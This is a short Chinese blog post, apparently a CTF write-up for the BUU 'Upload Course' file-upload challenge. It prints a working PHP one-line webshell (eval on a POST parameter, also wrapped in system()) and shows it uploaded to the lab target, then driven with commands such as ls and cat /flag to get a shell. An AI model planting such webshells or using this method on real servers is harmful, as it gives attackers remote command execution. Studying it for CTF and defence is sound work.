BUU UPLOAD COURSE | 一句话木马实操(PHP)

这是一道上传一句话木马的裸题,解题思路也很明确,现在此详细记录,以供日后复习知识点用
一句话木马:当知道了URL,就可以利用本地一张网页进行连接得到Webshell

php 一句话木马

<?php @eval($_POST["x"]);?>

当这条语句被服务端执行了,我们同时利用 POST 请求上传变量 x 的值,例如 x=echo 'Hello'

php 解析器执行的实质上是 @eval("echo 'Hello'"),即在前端输出一个字符串

更常见的利用手法是利用 @eval(system($_POST["x"])) 直接控制服务端的 shell

同时提交 x=ls ,便可以通过 shell 输出当前网页目录下的其他文件,注入其他命令同理

实操

题目链接
用浏览器连接靶机,有一个可以提交文件的页面,随便 sumbit 一个文本文件

提示:文件已储存在: uploads/xxx.jpg

可以在 ?file=uploads/xxx.jpg 查看,有相应的内容回显

这是一个最普通的 php 脚本,保存改后缀为 .php 尝试上传

<?php echo 'Hello World!'; ?>

在访问时回显 Hello Worl! 说明自定义的 php 脚本被成功执行

把脚本修改成一句话木马

<?php @eval(system($_POST["x"]));?>

成功上传后,访问相应的 ?file=uploads/xxx.jpg,页面空白,说明 php 命令被成功执行

将 url 复制到 Postman ,编辑 Body(Post 的表单)为 x:ls

成功拿到 shell,接下来找到 flag 所在的目录就好了

你甚至可以提交 x:find -name / 'flag' 暴力找,最后提交 cat /flag 拿到 flag

posted @ 2020-07-24 17:19  暖暖草果  阅读(2247)  评论(1编辑  收藏  举报